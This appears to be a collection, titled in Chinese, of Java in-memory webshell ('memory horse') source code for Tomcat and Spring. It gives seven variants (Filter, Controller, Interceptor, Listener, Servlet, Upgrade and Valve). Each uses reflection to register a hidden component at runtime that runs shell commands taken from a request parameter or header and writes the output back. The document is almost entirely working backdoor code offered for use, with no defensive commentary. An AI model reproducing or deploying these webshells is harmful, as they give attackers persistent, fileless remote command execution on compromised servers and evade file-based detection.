Java内存马
收集网上的内存马
Filter内存马
package com.example.demo.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import org.springframework.core.io.ClassPathResource;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import static org.apache.catalina.LifecycleState.STARTED;
import static org.apache.catalina.LifecycleState.STARTING_PREP;
@Controller
public class FilterController {
public FilterController() {
}
@ResponseBody
@RequestMapping({"/index"})
public String index() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException {
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
Field field = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
field.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) field.get(null);
ServletRequest servletRequest = null;
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
if (servletRequest != null) {
ServletContext servletContext = servletRequest.getServletContext();
StandardContext standardContext = null;
if (servletContext.getFilterRegistration("/asd") == null) {
for (; standardContext == null; ) {
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object object = contextField.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
standardContext = (StandardContext) object;
}
}
if (standardContext != null) {
Field stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, STARTING_PREP);
Filter filter = new FilterShell();
FilterRegistration.Dynamic dynamic = servletContext.addFilter("asd", filter);
dynamic.setInitParameter("encoding", "utf8");
dynamic.setAsyncSupported(false);
dynamic.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
if (stateField != null){
stateField.set(standardContext, STARTED);
}
if (standardContext != null){
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++){
if (filterMaps[i].getFilterName().equalsIgnoreCase("asd")){
FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
}
}
}
}
return "草,走,忽略!ጿ ኈ ቼ ዽ ጿ";
}
class FilterShell extends AbstractTranslet implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("succeed");
String cmd;
if ((cmd = servletRequest.getParameter("asd")) != null){
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null){
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
}
Controller内存马
package com.example.demo.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@Controller
public class ControllerController {
public ControllerController(){
}
@ResponseBody
@RequestMapping({"/controller"})
public String controllerShell() throws NoSuchMethodException, IllegalAccessException, NoSuchFieldException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = InjectController.class.getMethod("shell");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths("/controllerinject").options(config).build();
InjectController injectToController = new InjectController();
mappingHandlerMapping.registerMapping(requestMappingInfo, injectToController, method);
return "hhh";
}
class InjectController {
public InjectController(){
}
public String shell(){
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
String code = request.getParameter("cmd");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
return "!";
}
return "?";
}
}
}
Interceptor内存马
package com.example.demo.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.ArrayList;
@Controller
public class InterceptorController {
public InterceptorController(){
}
@ResponseBody
@RequestMapping({"/interceptor"})
public String test() throws NoSuchFieldException, IllegalAccessException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
adaptedInterceptors.add(new InterceptorInject());
return "aaa";
}
class InterceptorInject extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
String code = request.getParameter("cmd");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
}
}
Listener内存马
package com.example.demo.controller;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
@Controller
public class ListenerController {
public ListenerController(){
}
@ResponseBody
@GetMapping({"/listener"})
public String listenerShell() throws NoSuchFieldException, IllegalAccessException {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
standardContext.addApplicationEventListener(new Listener());
return "Listener inject";
}
public class Listener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
}
Servlet内存马
package com.example.demo.controller;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.Servlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
@Controller
public class ServletController {
public ServletController(){
}
@ResponseBody
@GetMapping({"/servlet"})
public String servletShell() throws NoSuchFieldException, IllegalAccessException {
HttpServlet servlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i = inputStream.read(bytes)) != -1){
resp.getWriter().write(new String(bytes,0,i));
resp.getWriter().write("\r\n");
}
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
};
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(servlet.getClass().getName());
wrapper.setServlet(servlet);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/asd", servlet.getClass().getName());
return "servlet inject";
}
}
Upgrade内存马
package com.example.demo.controller;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.Response;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.HashMap;
@Controller
public class UpgradeController {
public UpgradeController(){
}
@ResponseBody
@RequestMapping({"/upgrade"})
public String test() throws NoSuchFieldException, IllegalAccessException {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
RequestFacade rf = (RequestFacade) request;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);
Field connector = Request.class.getDeclaredField("connector");
connector.setAccessible(true);
Connector realConnector = (Connector) connector.get(request1);
Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
protocolHandlerField.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);
HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
upgradeProtocols.put("asd", new UpgradeInject());
upgradeProtocolsField.set(handler, upgradeProtocols);
return "upgrade";
}
class UpgradeInject implements UpgradeProtocol{
@Override
public String getHttpUpgradeName(boolean b) {
return null;
}
@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}
@Override
public String getAlpnName() {
return null;
}
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) {
return null;
}
@Override
public boolean accept(org.apache.coyote.Request request) {
String p = request.getHeader("cmd");
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
resp.doWrite(ByteBuffer.wrap(result));
} catch (Exception e) {
}
return false;
}
}
}
Valve内存马
package com.example.demo.controller;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ContainerBase;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardPipeline;
import org.apache.catalina.valves.ValveBase;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;
@Controller
public class ValveController {
public ValveController(){
}
@ResponseBody
@RequestMapping({"/valve"})
public String test() throws NoSuchFieldException, IllegalAccessException {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline = (StandardPipeline) pipelineField.get(standardContext);
ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String code = request.getParameter("cmd");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
}
}
};
standardPipeline.addValve(valveBase);
return "valve";
}
}